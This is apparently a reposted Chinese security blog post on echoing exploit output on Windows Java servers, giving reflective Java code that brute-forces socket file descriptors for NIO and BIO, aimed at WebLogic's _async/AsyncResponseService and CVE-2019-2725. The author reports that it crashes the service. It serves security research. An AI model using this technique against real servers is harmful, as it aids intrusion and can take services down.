记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

win描述符下成功又失败的回显

2020-04-17 13:40

前言

之前有linux文件描述符回显了,当时搞出来后,就想着接着搞win。因为比较忙搁置了一段时间。后续又接着搞了下,因为我觉得这个回显是jdk级别的,不需要专门研究一个应用再去回显。

并且还可以针对异步服务进行回显。

为什么是失败的,因为回显后服务会挂。

linux上的返回方式不行

在win上,是无法像linux上使用如下方式进行回显。

FileOutputStream os = new FileOutputStream(fd);
os.write(ret.getBytes());

于是就去看socket的实现。

模拟socket返回结果

需要了解java IO分成三种BIO、NIO、AIO。文中实现了BIO和NIO两种回显。

在 win32 的实现中将 创建好的 文件句柄 设置到 handle 字段,在 linux 版本中则使用的是 FileDescriptor 的 fd 字段。

坑:在实现过程中我谷歌了一些资料,加上我以前的一些认知,我以为上面的内容是真的,在win上要设置一直handle字段,一直没有实现任何回显。于是仔细看了下win下BIO的实现,还是设置FileDescriptor 的 fd 字段。

这个过程比较简单,大家看下socket 写的实现就好了,就直接上源码了。

spring boot之前测试记忆中是NIO。

NIO socket返回。

for (int i=0;i<10000;i++){
try {
byte[] buff = new byte[]{0x61,0x61};

Class class1 = Class.forName("java.nio.HeapByteBuffer");
Constructor constructor1 = class1.getDeclaredConstructors()[1];
constructor1.setAccessible(true);
Object heapByteBuffer = constructor1.newInstance(buff,0,2);


Class class2 = Class.forName("sun.nio.ch.SocketChannelImpl");
java.lang.reflect.Field nd = class2.getDeclaredField("nd");
nd.setAccessible(true);

Class class3 = Class.forName("sun.nio.ch.IOUtil");
Method write = class3.getDeclaredMethods()[1];
write.setAccessible(true);

FileDescriptor fd = new FileDescriptor();
java.lang.reflect.Field field = FileDescriptor.class.getDeclaredField("fd");
field.setAccessible(true);
field.set(fd, i);

System.out.println(new FileInputStream(fd).getChannel());
write.invoke(null,new Object[]{(FileDescriptor)fd, class1.cast(heapByteBuffer), -1L, nd.get(null)});

}catch (Exception e){
System.out.println(e);
}

}

weblogic _async/AsyncResponseService 回显

一开始我以为_async/AsyncResponseService 是无法回显的,在我搞出cve-2019-2725回显之后,看过一张别人把_async/AsyncResponseService回显的截图。我就一直寻思着怎么把_async/AsyncResponseService回显了。

weblogic使用的是BIO进行回显的

模拟BIO

for (int i=0;i<10000;i++) {
try {
Class class1 = Class.forName("java.net.SocketOutputStream", false, null);
java.lang.reflect.Constructor constructor1 = class1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);

java.lang.reflect.Method write = class1.getDeclaredMethod("write",new Class[]{byte[].class});
write.setAccessible(true);

java.io.FileDescriptor fd = new java.io.FileDescriptor();
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
field.setAccessible(true);
field.set(fd, new Integer(i));

Class class2 = Class.forName("java.net.PlainSocketImpl");
java.lang.reflect.Constructor constructor2 = class2.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
constructor2.setAccessible(true);

Object socksSocketImpl = constructor2.newInstance(new Object[]{fd});

Object socketOutputStream = constructor1.newInstance(new Object[]{socksSocketImpl});

write.invoke(socketOutputStream, new Object[]{new byte[]{0x61, 0x61}});
}catch (Exception e){
System.out.println(e);
}
}

总结

回显是回显了,但是weblogic服务会崩,win下socket的文件描述符如何确定,暂时没有一个好的思路,只能暴力猜解。有想法的朋友可以一起交流下。

知识来源: xz.aliyun.com/t/7566

阅读:11905 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“win描述符下成功又失败的回显”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词